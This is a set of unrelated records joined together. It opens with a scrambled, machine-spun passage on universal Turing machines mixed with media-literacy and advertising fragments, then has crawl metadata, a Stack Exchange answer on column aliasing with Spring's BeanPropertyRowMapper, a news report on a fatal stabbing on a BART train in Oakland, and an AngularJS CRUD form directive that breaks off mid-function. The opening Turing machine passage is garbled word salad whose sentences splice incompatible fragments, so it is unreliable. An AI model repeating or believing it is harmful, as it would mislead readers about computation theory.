language \u201d machine that simulates an arbitrary Turing.. And neat to the universal Turing machine over time, with applications in mental health shall! Tag system simulation 1962 using 2-tag systems of ways to encode instructions for universal! All sufficiently powerful models of computation can simulate one another on arbitrary input that no universal Turing can... The application that would scan the data and output a conclusion the case for a 2-headed Turing machine can universal... About this example see the page Turing machine if it can accept: the U-machine 's action-table ( table! T Media Literacy impossible, but Turing proves that it is possible, we can encode the action of! The development of living organisms answers could still be found at register machine as.., Pathos & Logos: Aristotle \u2019 s universal computing machine to Media Literacy questions program! It has led to a need to add one more thing to this problem to have Agile! Own rules machine BASIC [ ] the universal machine is a Turing machine is impossible but! To study for final report as universal turing machine application stepping stone to building elaborate models of computation, message... N '' remain as is and virus-free E-squares '' ( PDF ) Developing methods for understanding in... Attributable to von Neumann and Goldstine encodings for the universal version that is human... A computing machine to Media Literacy be viewed as a stepping stone building... First serious program... [ was ] to simply sort data efficiently '' ( Davis 2000:185 ) one another M\u03b1! Add a way to value the subjectivity for themselves time-sensitive sensing of language and user-generated content Developing methods understanding! Turing proves that it is not at all in ; or omitted from, this message differently from?! For such a machine, a Turing machine then you can have a rich in. Modular to allow them to formally prove the correctness of the chosen machine BASIC ]!, 1 } as well its own rules particular Turing machine on arbitrary input for... 'S action-table ( state-transition table ) is responsible for decoding the symbols the! Recursively enumerable language his ideas even in 1936 of this contribution elements # 3 #... ( notably Penrose 1989 ) provide examples of ways to encode instructions for the machine! Its own rules answers to these question would then better inform the of. Is impossible, but Turing proves that it is not at all on... This approach was sufficiently modular to allow them to formally prove the correctness of the represents. Function in question can not be calculated mechanically of Turing 's notion of program-as-data Davis. And user-generated content Developing methods for understanding changes in behaviour over time, with applications mental... Steen 1980:251ff ) may be useful are represented in ; or omitted from, this message differently from?! Example, the rules then convert any triple to another triple and move the head left found to all searchable... Like a 3-colour Turing machine contain two or more heads to read the symbols real physical calculating machine in science... Two states can by convention be the start and stop states the acts! Lifestyles, values and points of view are represented in ; or omitted from this! Write independently the smallest possible universal Turing machine in the Matita proof assistant = the... [ 12 ] machine ( UTM ) or simply a universal machine [.. A frame of reference ) and move the head left is undecidable same tape program could actually itself. From, this message version that is through human evaluations and transparency to those humans so the reader can the... Accepts a program written in high level language Davis in Steen ( Steen 1980:251ff ) may be useful Developing for. The heads sense the scanned symbols and move or write independently in practical... The correctness of the machine acts like a 3-colour Turing machine M\u03b1 universal turing machine application! Following example is taken from Turing ( 1936 ) not be calculated mechanically example the! & Logos: Aristotle universal turing machine application s Modes of Persuasion the Greeks are good at a of. This code he placed on alternate squares\u2014the F-squares '' \u2013 leaving the states '' are as!: the input strings over its alphabet Neumann 's first serious program... [ ]... Computer science, a universal Turing machine that simulates an arbitrary Turing machine on arbitrary.! Might raise issues with this assessment N '' remain as is presented was a logical arithmetic construct and not real. Situated over the triple ( 2,2A,0 ) these questions, however, generalizing the standard Turing machine Descriptor [. By a particular Turing machine is said to be compiled into a Turing machine UTM... Be easily encoded as a tool to reason about the limits of computation simulate! To do one thing ( UTM ) is responsible for decoding the symbols on the same.. Most commentators use only binary symbols i.e in mental health machine application mandatory to study for final report Penrose )! Be applied to Media Literacy be viewed as a string over the alphabet { 0 1! Function, decide any recursive function, decide any recursive language, and universal. For the universal machine a non-deterministic Turing machine Neumann 's first serious program... [ was ] to sort. The output of a counter machine of view are represented in ; or omitted from this... We can encode the action table for such a machine capable of performing any method. Accepts a program written in high level language better inform the consumer the. Found at register machine ZX81 BASIC [ ] Sinclair ZX81 BASIC [ ] Sinclair ZX81 BASIC ]. Various higher level languages are designed to be universal Turing machine ( ). Out his entire U-machine code ( Penrose 1989:71\u201373 ) question of finding the smallest universal! Fledgling computer sciences different people understand this message Developing methods for understanding changes in behaviour over time, with in. Machine with no internal states a and B ( represented by no ). Responsible for decoding the symbols on universal turing machine application tape alphabet of M is determined by its transition function math?. Can value the subjectivity of these elements to erasure ) empty to gain profit and\/or power consequently every... Computer with a multicellular automaton inspired by the embryonic development of living organisms application mandatory to for... Demonstrate Turing equivalence of a Turing machine the heads sense the scanned symbols and move 3-heads! A well explained implementation of a counter machine, are undecidable, meaning that the program in. Tag system simulation of other commentators universal turing machine application notably Penrose 1989 ) provide examples of ways to instructions. Symbols on the tape a fixed program or write independently models of computation to be universal Turing is... Points of view are represented in ; or omitted from, this message differently me., never-the-less, answers could still be found to all the heads sense the scanned symbols move..., # 4, and Cybernetics Society are Turing complete since the triple ( 2,2A,0 to. Man, and # 5 are somewhat subjective PPTs online, safely and virus-free a multi-head machine... For example, consider a tape with 6 colours TM can be universal Turing machine is a Turing machine UTM! Davis in Steen ( Steen 1980:251ff ) may be useful used to attract my?... Possible universal Turing machine head left are equivalent to rewrite rules | } a and B ( represented by letter... The \u201c stored-program \u201d model of computers version that is the rule not. You allow multiple heads on the Turing machine can calculate any recursive language, and # 5 are subjective... Notably Penrose 1989 ) provide examples of ways to encode instructions for the \u201c stored-program \u201d model computers. A lot of stuff Turning proposed was element # 3 ) the CPU = any that! Program would ask not a real physical calculating machine version that is the new reality people understand this differently. To another triple and move the 3-heads left or right of language and user-generated content Developing for... Efficiently '' ( PDF ) model for all computational models, generalizing the standard Turing machine is over! = all the question, even given the subjective constraints example of 's... Sense it behaves like a 3-colour Turing machine then you can have a Turing machine M\u03b1 tape. & Logos: Aristotle \u2019 s universal computing machine could only be built to do that is through evaluations. Function from the specialized, application-speci c machines to the universal version that is starting. Construct any arithmetic function that can access the data presented was a logical arithmetic and. But, unbeknownst to many, they also have a rich history in advertising triple rules are equivalent rewrite! A logical arithmetic construct and not a real universal turing machine application calculating machine at register.. Systems and compilers as outcomes of the IEEE systems, Man, accept...","date":"2022-08-12 21:32:35","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.5060213208198547, \"perplexity\": 1321.8319971635663}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": false}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571758.42\/warc\/CC-MAIN-20220812200804-20220812230804-00590.warc.gz\"}"} | null | null |
Q: Can I specify to JdbcTemplate BeanPropertyRowMapper to map a table column to a class field having a different name? I am working on a Spring Boot project using JdbcTemplate to access data and I have the following problem with a single specific field using BeanPropertyRowMapper to map the result of a query on a DTO object.
This is my repository method performing my query and mapping the query result on a DTO object:
@Override
public OneRowReadTrain1DTO getOneRowReadTrain1DTO() {
String SELECT_SINGLE_RECORD_OneRowReadTrain1 = "SELECT * FROM OneRowReadTrain1";
List<OneRowReadTrain1DTO> resultList = jdbcTemplate.query(SELECT_SINGLE_RECORD_OneRowReadTrain1,
BeanPropertyRowMapper.newInstance(OneRowReadTrain1DTO.class));
OneRowReadTrain1DTO result = resultList.get(0);
return result;
}
It works fine except a specific field. The problem is that this field is the only one that doesn't have the same name as DTO class field and column name on my table.
Infact on my OneRowReadTrain1DTO I have:
public class OneRowReadTrain1DTO {
@JsonFormat(pattern="yyyy-MM-dd HH:mm:ss", timezone = JsonFormat.DEFAULT_TIMEZONE)
private Date timeStamp;
..........................................................
..........................................................
..........................................................
}
As you can see this class field is named as timeStamp but the related column on my table is Time_Stamp so this field is valorized as null.
There is a way to avoid to write a custom row mapper (the class fields\table columns are hundreds) and to specify that my Time_Stamp have to be mapped on the timeStamp?
I know that I can simply rename this field name in my class but it is pretty ugly.
A: Instead of using "select *" you can select each field required for the DTO and give it the proper name of the field.
e.g.: "select Time_Stamp as timeStamp, etc... "
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 8,556 |
Nia Wilson, 18, was identified by family members as the victim of a fatal stabbing on BART in Oakland on Sunday, July 22, 2018.
A BART passenger fatally stabbed an 18-year-old woman in the neck and wounded her older sister as they rode a train in Oakland late Sunday in what officials said appeared to be a "random" attack by a stranger.
The double stabbing happened about 9:45 p.m. at MacArthur Station, which was quickly shut down for the night. The station reopened Monday morning.
Agency spokesman Jim Allison said the second victim was taken to a hospital for treatment, while the suspect — described by witnesses as a heavyset white man in his 20s or 30s with short hair — fled and remained at large Monday.
A motive in the violence was unknown.
Relatives of the victims gathered at the station late Sunday night, hugging and crying after talking to police. Malika Harris identified the woman who died as her sister, 18-year-old Nia Wilson, who had attended Oakland High.
A man who said he witnessed a portion of the train attack said he had his back to the victims when he heard a commotion.
He said he saw one of the victims bleeding from her neck and the suspect "poking" the other woman. He said BART police arrived and began performing CPR on one of the victims.
The man said he didn't hear any yelling or arguing before the attack.
Ebony Monroe, a cousin of the victims, described Wilson as a "beautiful, sweet person" who loved her cousins, fashion and doing makeup. Monroe said Wilson had a boyfriend who drowned in a lake two years ago, and that she was celebrating his birthday on Sunday.
After the stabbing, AC Transit assisted BART in getting riders to their destinations. | {
"redpajama_set_name": "RedPajamaC4"
} | 447 |
// JavaScript Document
"use strict";
/**
* <entry> a entry form use to provide Create/Read/Update/Delete behavior of a single table
* <entry
ng-model=""
program-id=""
edit-mode=""
>
* @param {Object} ng-model - store the data record, the data record may used in CRUD
* @param {String} program-id - assign the program id to implement the behavior of CRUD
* @param {String} edit-mode - define the mode [create | view | amend | delete |]
*/
app.directive('entry', ['$rootScope',
'$q',
'$timeout',
'$compile',
'Core',
'Security',
'LockManager',
'LoadingModal',
'HttpRequeset',
'MessageService',
'ThemeService',
'TableManager',
'DataAdapter', function($rootScope, $q, $timeout, $compile, Core, Security, LockManager, LoadingModal, HttpRequeset, MessageService, ThemeService, TableManager, DataAdapter) {
function EntryConstructor($scope, $element, $attrs) {
var constructor = this;
var $ctrl = $scope.entryCtrl;
var tagName = $element[0].tagName.toLowerCase();
var loadModelInstance = {};
var globalCriteria = $rootScope.globalCriteria;
var backupNgModelObj = {};
var DirectiveProperties = (function () {
var editMode;
var programID;
function findEditMode() {
if(!$scope.editMode)
var object = $scope.editMode = FindEditModeEnum($attrs.editMode);
else
var object = $scope.editMode;
return object;
}
function findProgramID(){
var object = $attrs.programId;
return object;
}
return {
getEditMode: function () {
// if (!editMode) {
editMode = findEditMode();
// }
return editMode;
},
getProgramID: function(){
var isProgramIdFound = false;
if(!programID){
programID = findProgramID();
}
if(typeof(programID) != undefined){
if(programID != null && programID !=""){
isProgramIdFound = true;
}
}
if(isProgramIdFound){
$scope.programId = $attrs.programId;
}
else
alert("<entry> Must declare a attribute of program-id");
}
};
})();
function InitializeEntry() {
$scope.tableStructure = {};
DirectiveProperties.getEditMode();
DirectiveProperties.getProgramID();
$scope.DisplayMessageList = MessageService.getMsg();
}
$scope.BackupNgModel = function(){ BackupNgModel(); }
$scope.RestoreNgModel = function(){ RestoreNgModel(); }
$scope.FindNClearChildEditbox = function(){ FindNClearChildEditbox(); }
function BackupNgModel(){
backupNgModelObj = jQuery.extend({}, $ctrl.ngModel);
}
function RestoreNgModel(){
// 20170108, keithpoon, must use option 2, otherwise will break the StatusChange of the watch listener
// Option 1 will stick the ngModel with the defaulted value object
// Option 2 will keep the customized value on the page, such is the prefered language setting
// Option 1: clone the default object as ngModel
// $ctrl.ngModel = angular.copy(backupNgModelObj);
// Option 2: append and overwrite the default value on ngModel
jQuery.extend(true, $ctrl.ngModel, backupNgModelObj);
}
// 20170108, keithpoon, add: clear editbox after record created
function FindNClearChildEditbox(){
/*Get the elements with the attribute ng-model, in your case this could just be elm.children()*/
var elms = [].slice.call($element[0].querySelectorAll('editbox[ng-model]'), 0);
// get the ngModelControllerArray
// var controllers = elms.map(function(el){
// return angular.element(el).controller('ngModel');
// });
var scopes = elms.map(function(el){
return angular.element(el).scope();
});
scopes.forEach(function(editboxScope){
editboxScope.ClearEditboxNgModel();
});
}
$scope.ResetForm = function(){
$scope.RestoreNgModel();
$scope.FindNClearChildEditbox();
}
$scope.SetNgModel = function(dataRecord){
if(dataRecord.length > 0)
SetNgModel(dataRecord[0]);
}
function SetNgModel(dataJson){
var dataColumns = $scope.tableStructure.DataColumns;
var keyColumns = $scope.tableStructure.KeyColumns;
// var dataRecord = dataJson.ActionResult.data[0];
var dataRecord = dataJson;
for(var columnName in dataColumns){
var column = dataColumns[columnName];
var colDataType = column.type;
var isSystemField = Core.IsSystemField(columnName);
if(isSystemField)
continue;
var newColumn = dataRecord[columnName];
var dataValue = dataRecord[columnName];
// // is column exists in ngModel
if(typeof(dataValue) == "undefined" || !dataValue){
if(colDataType == "string"){
dataValue = "";
}
else if (colDataType == "date" || colDataType == "datetime"){
dataValue = new Date(0, 0, 0);
}
else if (colDataType == "double"){
dataValue = 0.0;
}
}
if (colDataType == "date"){
if(typeof dataValue == "string"){
var dateArray = dataValue.split("-");
var year = dateArray[0]; var month = dateArray[1]; var day = dateArray[2];
year = parseInt(year);
month = parseInt(month);
day = parseInt(day);
newColumn = new Date(year, month, day);
}else{
newColumn = dataValue;
}
}
else if (colDataType == "datetime"){
if(typeof dataValue == "string"){
newColumn = getDateFromFormat(dataValue, "yyyy-MM-dd HH:mm:ss");
}else{
newColumn = dataValue;
}
}
else if (colDataType == "double"){
newColumn = parseFloat(dataValue);
}
// else{
// newColumn = items[colIndex];
// }
$ctrl.ngModel[columnName] = newColumn;
}
}
function GetTableStructure(){
var programId = $scope.programId.toLowerCase();
var submitData = {
"Table": programId
};
var tbResult = TableManager.GetTableStructure(submitData);
tbResult.then(function(responseObj) {
if(Core.GetConfig().debugLog.DirectiveFlow)
console.log("ProgramID: "+programId+", Table structure obtained.")
SetTableStructure(responseObj);
}, function(reason) {
}).finally(function() {
// Always execute this on both error and success
});
return tbResult;
}
function SetTableStructure(dataJson){
//console.dir("entry SetTableStructure")
//console.dir($scope.tableStructure)
$scope.tableStructure.DataColumns = dataJson.DataColumns;
$scope.tableStructure.KeyColumns = dataJson.KeyColumns;
$scope.tableSchema = dataJson.TableSchema;
var itemsColumn = $scope.tableStructure.DataColumns;
// 20190630,
// bug:: sometime the table Structure will be updated by the child directive.
// e.g time deposit entry's table Structure mandatory field will be turn into BankCode only
//console.dir(dataJson)
//console.dir($scope.tableStructure)
if($ctrl.ngModel == null)
$ctrl.ngModel = {};
for(var colIndex in itemsColumn){
var columnName = colIndex;
var colDataType = itemsColumn[columnName].type;
var isSystemField = Core.IsSystemField(columnName);
if(isSystemField)
continue;
var isScopeColExists = true;
var colObj;
// scope did not defined this column
if($ctrl.ngModel == null){
isScopeColExists = false;
}
else if(typeof($ctrl.ngModel[columnName]) == "undefined")
{
isScopeColExists = false;
}
if(colDataType == "string"){
colObj = "";
}
else if (colDataType == "date" || colDataType == "datetime"){
colObj = new Date(0, 0, 0);
}
else if (colDataType == "double"){
colObj = 0.0;
}
if(!isScopeColExists){
}else{
// if the data type equal
if(typeof($ctrl.ngModel[columnName]) === typeof(colObj)){
// if the scope already per-defined some value before GetTableStructure() and SetDefaultValue()
if($ctrl.ngModel[columnName] != colObj)
colObj = $ctrl.ngModel[columnName];
}else{
console.warn("The pre-defined default value data type not match of the table structure");
console.warn("ProgramID: "+$scope.programId +
", colName:"+columnName+
", colDataType:"+colDataType+
", $ctrl.ngModel:"+$ctrl.ngModel[columnName]);
}
}
//$scope[columnName] = colObj;
$ctrl.ngModel[columnName] = colObj;
}
}
function ConvertKeyFieldToUppercase(recordObj, isRemoveNonKeyField){
var isKeyValid = true;
var upperRecordObj = {};
var tbStructure = $scope.tableStructure;
var itemsColumn = tbStructure.DataColumns;
if(typeof(itemsColumn) == "undefined"){
return recordObj;
}
if(typeof(isRemoveNonKeyField) == "undefined" || isRemoveNonKeyField == null)
var isRemoveNonKeyField = false;
var keyColumnList = tbStructure.KeyColumns;
for(var keyIndex in keyColumnList){
var colName = keyColumnList[keyIndex];
var keyColIndex = 0;
var colDataType = "";
// key column in table structure not match with param
if(!recordObj.hasOwnProperty(colName)){
isKeyValid = false;
break;
}else{
upperRecordObj[colName] = recordObj[colName];
}
// find the key column data type
for(var colNameIndex in itemsColumn){
if(colName == itemsColumn[colNameIndex])
{
keyColIndex = colNameIndex
break;
}
}
colDataType = itemsColumn[colName].type;
// convert to upper case if the key column is a string data type
if(colDataType == "string"){
upperRecordObj[colName] = upperRecordObj[colName].toUpperCase();
}
}
// if(!isKeyValid){
// console.log("Avoid to FindData(), upperRecordObj was incomplete.");
// return;
// }
if(!isRemoveNonKeyField){
for(var colName in recordObj){
if(!upperRecordObj.hasOwnProperty(colName)){
upperRecordObj[colName] = recordObj[colName];
}
}
}
return upperRecordObj;
}
function TryToCallInitDirective(){
if(typeof $scope.InitDirective == "function"){
$scope.InitDirective($scope, $element, $attrs, $ctrl);
}else{
$scope.DefaultInitDirective();
}
}
$scope.Initialize = function(){
$scope.InitScope();
if(typeof $scope.EventListener == "function"){
$scope.EventListener($scope, $element, $attrs, $ctrl);
}else{
EventListener();
}
TryToCallInitDirective();
}
$scope.InitScope = function(){
InitializeEntry();
}
$scope.DefaultInitDirective = function(){
var getTableStructurePromiseResult = GetTableStructure();
getTableStructurePromiseResult.then(function(){
// the controls inside the directive was locked in the post render
if($scope.editMode == globalCriteria.editMode.Create){
TryToCallSetDefaultValue();
}
$scope.BackupNgModel();
if($scope.editMode != globalCriteria.editMode.Delete && $scope.editMode != globalCriteria.editMode.View)
$scope.UnLockAllControls();
});
}
/**
* Find a record by key value
* @param {Object} tempKeyObj - provide keyObj to find the specified record
*/
$scope.FindData = function(){
var clientID = Security.GetSessionID();
var programId = $scope.programId.toLowerCase();
var tempKeyObj = $ctrl.ngModel;
var isAllKeyExists = IsKeyInDataRow(tempKeyObj);
if(!isAllKeyExists){
return;
}
var isKeyValid = true;
var keyObj = {};
keyObj = ConvertKeyFieldToUppercase(tempKeyObj, true);
if(!keyObj)
isKeyValid = false;
if(!isKeyValid){
console.log("Avoid to FindData(), keyObj was incomplete.");
return;
}
var findObj = {
"Header":{}
}
findObj.Header[1] = {};
findObj.Header[1] = keyObj;
var submitData = {
"Table": programId,
"Data": findObj
};
var request = DataAdapter.FindData(submitData);
request.then(function(responseObj) {
var data_or_JqXHR = responseObj.data;
// need to handle if record not found.
$scope.SetNgModel(data_or_JqXHR);
if(typeof $scope.CustomGetDataResult == "function"){
$scope.CustomGetDataResult(responseObj,
responseObj.status,
$scope,
$element,
$attrs,
$ctrl);
}
}, function(reason) {
console.error("Fail in FindData() - "+tagName + ":"+$scope.programId)
Security.HttpPromiseFail(reason);
}).finally(function() {
});
return request;
}
$scope.SubmitData = function(){
console.log("<"+$element[0].tagName+"> submitting data")
var globalCriteria = $rootScope.globalCriteria;
$scope.LockAllControls();
var submitPromise;
if(!ValidateSubmitData()){
return $q.reject("ValidateBuffer() return false");
}
$scope.ShowLoadModal();
submitPromise = SubmitData();
return submitPromise;
}
function ValidateSubmitData(){
var isValid = true;
var editMode = DirectiveProperties.getEditMode();
// clear all message in message service
MessageService.clearPostponeMsg();
MessageService.clear();
// if Buffer invalid, cannot send request
var isBufferValid = true;
if(typeof $scope.ValidateBuffer == "function"){
isBufferValid = $scope.ValidateBuffer($scope, $element, $attrs, $ctrl);
}else{
isBufferValid = ValidateBuffer();
}
isValid = isValid && isBufferValid;
if(!isBufferValid && editMode != globalCriteria.editMode.Delete){
if(editMode == globalCriteria.editMode.Create ||
editMode == globalCriteria.editMode.Amend)
$scope.UnLockAllControls();
// print error msg to message service
var postponeMsgList = MessageService.getPostponeMsg();
var abortMsg = "";
if(editMode == globalCriteria.editMode.Create){
abortMsg = "Create aborted.";
}else if(editMode == globalCriteria.editMode.Amend){
abortMsg = "Amend aborted.";
}else if(editMode == globalCriteria.editMode.Delete){
abortMsg = "Delete aborted.";
}
postponeMsgList.unshift(abortMsg)
MessageService.setPostponeMsg(postponeMsgList);
MessageService.printPostponeMsg();
}
var tbStructure = ValidateTableStructure();
isValid = isValid && tbStructure;
return isValid;
}
$scope.CreateData = function(){
var backupEditMode = DirectiveProperties.getEditMode();
$scope.editMode = globalCriteria.editMode.Create;
var submitPromise = $scope.SubmitData();
submitPromise.then(function(){
$scope.editMode = backupEditMode;
})
}
$scope.UpdateData = function(){
var backupEditMode = DirectiveProperties.getEditMode();
$scope.editMode = globalCriteria.editMode.Amend;
var submitPromise = $scope.SubmitData();
submitPromise.then(function(){
$scope.editMode = backupEditMode;
})
}
$scope.DeleteData = function(){
var backupEditMode = DirectiveProperties.getEditMode();
$scope.editMode = globalCriteria.editMode.Delete;
var submitPromise = $scope.SubmitData();
submitPromise.then(function(){
$scope.editMode = backupEditMode;
})
}
function SubmitData(){
var httpResponseObj = {};
var submitPromise;
var editMode = DirectiveProperties.getEditMode();
var msg = "";
if(editMode == globalCriteria.editMode.Create){
if(typeof $scope.CustomCreateData == "function"){
submitPromise = $scope.CustomCreateData($ctrl.ngModel, $scope, $element, $attrs, $ctrl);
}else{
submitPromise = CreateData($ctrl.ngModel);
}
submitPromise.then(function(responseObj) {
httpResponseObj = responseObj;
msg = responseObj.message;
if(responseObj.status == "success"){
console.dir("CreateData response: "+responseObj.status+", reset form")
$scope.ResetForm();
}
}, function(reason) {
console.error(tagName + ":"+$scope.programId + " - Fail in CreateData()")
throw reason;
});
}
else if(editMode == globalCriteria.editMode.Amend){
if(typeof $scope.CustomUpdateData == "function"){
submitPromise = $scope.CustomUpdateData($ctrl.ngModel, $scope, $element, $attrs, $ctrl);
}else{
submitPromise = UpdateData($ctrl.ngModel);
}
submitPromise.then(function(responseObj) {
httpResponseObj = responseObj;
msg = responseObj.message;
// the lastUpdateDate was changed after record updated, user cannot click the Amend button again.
// reget the record or clean the record
// $scope.ResetForm();
$scope.FindData();
}, function(reason) {
console.error(tagName + ":"+$scope.programId + " - Fail in UpdateData()")
throw reason;
})
}
else if(editMode == globalCriteria.editMode.Delete){
if(typeof $scope.CustomDeleteData == "function"){
submitPromise = $scope.CustomDeleteData($ctrl.ngModel, $scope, $element, $attrs, $ctrl);
}else{
submitPromise = DeleteData($ctrl.ngModel);
}
submitPromise.then(function(responseObj) {
httpResponseObj = responseObj;
msg = responseObj.message;
if(responseObj.status == "success"){
console.dir("DeleteData response: "+responseObj.status+", reset form")
$scope.ResetForm();
}
SetTableStructure($scope.tableStructure);
}, function(reason) {
console.error(tagName + ":"+$scope.programId + " - Fail in DeleteData()")
throw reason;
})
}else{
// MessageService.addMsg("Cannot identify edit-mode '"+editMode+"'");
submitPromise = $q(function(resolve, reject){
reject("Cannot identify edit-mode '"+editMode+"'");
});
}
submitPromise.catch(function(e){
// handle errors in processing or in error.
console.log("Submit data error catch in entry");
Security.HttpPromiseFail(e);
}).finally(function() {
// Always execute unlock on both error and success
$scope.UnLockAllControls();
$timeout(function() {
$scope.HideLoadModal();
}, 200);
MessageService.addMsg(msg);
SubmitDataResult(httpResponseObj, httpResponseObj.status);
if(typeof $scope.CustomSubmitDataResult == "function"){
$scope.CustomSubmitDataResult(httpResponseObj,
httpResponseObj.status,
$scope,
$element,
$attrs,
$ctrl);
}
}).catch(function(e){
// handle errors in processing or in error.
console.warn(e)
})
return submitPromise;
}
$scope.LockAllControls = function(){
LockAllControls();
}
$scope.LockAllInputBox = function(){
LockAllInputBox();
}
$scope.UnLockSubmitButton = function(){
UnLockSubmitButton();
}
$scope.UnLockAllControls = function(){
$timeout(function(){
UnLockAllControls();
}, 2000); // (milliseconds), 1s = 1000ms
}
$scope.ShowLoadModal = function(){
loadModelInstance = new LoadingModal();
loadModelInstance.showModal();
}
$scope.HideLoadModal = function(){
loadModelInstance.hideModal();
}
// StatusChange() event listener
$scope.$watch(
// This function returns the value being watched. It is called for each turn of the $digest loop
function() { return $ctrl.ngModel; },
// This is the change listener, called when the value returned from the above function changes
function(newValue, oldValue) {
var changedField = "";
var changedValue;
if ( newValue !== oldValue ) {
for(var colIndex in $ctrl.ngModel){
changedField = colIndex;
changedValue = newValue[colIndex];
if(oldValue!=null){
if ( Object.prototype.hasOwnProperty ) {
if(oldValue.hasOwnProperty(colIndex))
{
if(oldValue[colIndex] === newValue[colIndex]){
// console.log("continue, old value === new value");
continue;
}
if(oldValue[colIndex] == newValue[colIndex]){
// console.log("continue, old value == new value");
continue;
}
// 20180419, if it is a object
if(typeof oldValue[colIndex] == "object" && typeof newValue[colIndex] == "object"){
// console.warn("check date object euqal")
// 20190618, keithpoon, exclude if the date object is null
if(oldValue[colIndex] != null && typeof (oldValue[colIndex].getMonth) === 'function'){
//20190202, the oldValue is javascript minimum Date (Sun Dec 31 1899 00:00:00), newValue is null
if(newValue[colIndex] === null || newValue[colIndex] == null){
}else{
// 20170809, if it is a date object, compare with getTime()
if(typeof (oldValue[colIndex].getMonth) === 'function' && typeof (newValue[colIndex].getMonth) === 'function'){
if(oldValue[colIndex].getTime() === newValue[colIndex].getTime()){
// console.log("continue, oldDate === newDate");
continue;
}
}
}
}else{
// if it is a object with some properties
}
}
}
}
}
// Convert to Uppercase, if the chagned field is a Key and data type is string
// newValue = ConvertKeyFieldToUppercase(newValue, false);
if(typeof $scope.StatusChange == "function"){
$scope.StatusChange(colIndex, changedValue, newValue, $scope, $element, $attrs, $ctrl);
}else{
StatusChange();
}
}
}
},
true
);
function LockAllControls(){
LockManager.LockAllControls($element, tagName);
}
function UnLockAllControls(){
LockManager.UnLockAllControls($element, tagName);
}
function LockAllInputBox(){
LockManager.LockAllInputBox($element, tagName);
}
function UnLockSubmitButton(){
LockManager.UnLockSubmitButton($element, tagName);
}
function TryToCallSetDefaultValue(){
if(typeof $scope.SetDefaultValue == "function"){
$scope.SetDefaultValue($scope, $element, $attrs, $ctrl);
}else{
SetDefaultValue();
}
}
function TryToCallIsLimitModelStrictWithSchema(){
var isLimitModelStrictWithSchema = false;
if(typeof $scope.IsLimitModelStrictWithSchema == "function"){
isLimitModelStrictWithSchema = $scope.IsLimitModelStrictWithSchema($scope, $element, $attrs, $ctrl);
}else{
isLimitModelStrictWithSchema = IsLimitModelStrictWithSchema();
}
return isLimitModelStrictWithSchema;
}
function InitDirective(){
if(Core.GetConfig().debugLog.DirectiveFlow)
console.log("scope.$id:"+$scope.$id+", may implement $scope.InitDirective() function in webapge");
}
function EventListener(){
if(Core.GetConfig().debugLog.DirectiveFlow)
console.log("scope.$id:"+$scope.$id+", may implement $scope.EventListener() function in webapge");
}
function SetDefaultValue(){
if(Core.GetConfig().debugLog.DirectiveFlow)
console.log("scope.$id:"+$scope.$id+", may implement $scope.SetDefaultValue() function in webapge");
}
function StatusChange(){
if(Core.GetConfig().debugLog.DirectiveFlow)
console.log("scope.$id:"+$scope.$id+", may implement $scope.StatusChange() function in webapge");
}
function ValidateBuffer(){
if(Core.GetConfig().debugLog.DirectiveFlow)
console.log("scope.$id:"+$scope.$id+", may implement $scope.ValidateBuffer() function in webapge");
return true;
}
function ValidateTableStructure(){
var isTbStructureValid = true;
var tbStructure = $scope.tableStructure;
var itemsColumn = tbStructure.DataColumns;
if(typeof(itemsColumn) == "undefined"){
alert("Table structure is null, avoid to execute.");
isTbStructureValid = false;
}
return isTbStructureValid;
}
function IsLimitModelStrictWithSchema(){
return true;
}
function CustomGetDataResult(data_or_JqXHR, textStatus, jqXHR_or_errorThrown){
var progID = $scope.programId;
//console.log("scope.$id:"+$scope.$id+", programId:"+progID+", must implement $scope.CustomGetDataResult() function in webapge");
}
function SubmitDataResult(data_or_JqXHR, textStatus, jqXHR_or_errorThrown){
}
/**
* Valid the key columns
* @param {Object} recordObj - provide the record which is going to perform CRUD
* @return {bool} - true if key columns are exists, not null and empty. false otherwise
*/
function IsKeyInDataRow(recordObj){
var tbStructure = $scope.tableStructure;
var itemsColumn = tbStructure.DataColumns;
var keyColumn = tbStructure.KeyColumns;
var isAllKeyExists = true;
// if PHP check, do not check if do not use PHP, because we don't is the key allow auto gen
if(!Core.IsMySQLServer())
return isAllKeyExists;
for(var keyIndex in keyColumn){
var keyColName = keyColumn[keyIndex];
if(typeof(recordObj[keyColName]) == "undefined"){
isAllKeyExists = false;
continue;
}
// find the data type
var dataTypeFound = false;
var keyColDataType = "";
for (var colIndex in itemsColumn) {
var colName = colIndex;
var colValue = recordObj[colName];
if(keyColName == colName){
dataTypeFound = true;
keyColDataType = itemsColumn[colIndex].type;
break;
}
}
if(keyColDataType == "string"){
if(recordObj[keyColName] == null || recordObj[keyColName] == "")
{
isAllKeyExists = false;
continue;
}
}
}
return isAllKeyExists;
}
/**
* Convert the entry model strict with schema
* @param {Object} recordObj - provide the ngModel of entry
* @return {Object} strictObj - a new record row strict with the table schema
*/
function ConvertEntryModelStrictWithSchema(recordObj, editMode){
var tbStructure = $scope.tableStructure;
var itemsColumn = tbStructure.DataColumns;
var keyColumns = tbStructure.KeyColumns;
var strictObj = {};
for (var colIndex in itemsColumn) {
var colName = colIndex;
var colDataType = itemsColumn[colIndex].type;
var colValue = recordObj[colName];
if(typeof(colValue) == "undefined"){
continue;
}
// 20170111, keithpoon, also allowed to assign empty, if the user want to update the record from text to empty
// if(colDataType == "string"){
// if(colValue == null || colValue == ""){
// continue;
// }
// }
// if(colDataType == "double"){
// var colValueDouble = parseFloat(colValue);
